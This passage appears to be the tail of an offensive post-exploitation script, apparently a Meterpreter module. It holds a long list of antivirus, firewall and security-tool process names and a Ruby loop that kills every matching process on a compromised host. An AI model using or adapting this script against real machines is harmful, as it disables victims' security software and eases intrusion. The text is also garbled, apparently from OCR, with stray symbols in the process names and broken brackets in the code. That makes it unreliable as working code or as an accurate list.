taumon.exe
tbscan.exe
tc.exe
tca.exe
tcm.exe
tds-3.exe
tds2-98.exe
tds2-nt.exe
teekids.exe
tfak.exe
tfak5.exe
tgbob.exe
titanin.exe
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titaninxp.exe
tracert.exe
trickler.exe
triscan.exe
trisetup.exe
trojantrap3.exe
tsadbot.exe
tvmd.exe
tvtmd.exe
undoboot.exe
updat.exe
update.exe
upgrad.exe
utpost.exe
vbcmserv.exe
vbcons.exe
vbust.exe
vbwin9x.exe
vbwinntw.exe
vcsetup.exe
vet32.exe
vet95.exe
vettray.exe
visetup.exe
vir-help.exe
virusmdpersonalfirewall.exe
vnlan300.exe
vnpc3000.exe
vpc32.exe
vpc42.exe
vpfw30s.exe
vptray.exe
vscan40.exe
vscenu6.02d30.exe
vsched.exe
vsecomr.exe
vshwin32.exe
vsisetup.exe
vsmain.exe
vsmon.exe
vsstat.exe
vswin9xe.exe
vswinntse.exe
vswinperse.exe
w32dsm89.exe
woIx.exe
watchdog.exe
webdav.exe
webscanx.exe

webtrap.exe

wfindv32.exe
whoswatchingme.exe
wimmun32.exe
win-bugsfix.exe
win32.exe
win32us.exe
winactive.exe
window.exe
windows.exe
wininetd.exe
wininit.exe
wininitx.exe
winlogin.exe
winmain.exe
winnet.exe (@
winppr32.exe (| \\_ )/
winrecon.exe
winservnexe

winssk32 .e%
winstart.ﬁ:’%
winsta %

Wr

ctrl.exe
shgate.exe
O wupdater.exe
wupdt.exe

wyvernworksfirewall.exe
xpf202en.exe

zapro.exe
zapsetup3001.exe
zatutor.exe
zonalm2601.exe
zonealarm.exe

}

client.sys.process.get_processes().each
do |x|
if
(avs.index(x['name'].downcase))
print_status("Killing
off #{x['name'}...")

client.sys.process.kill(x['pid')
end
end
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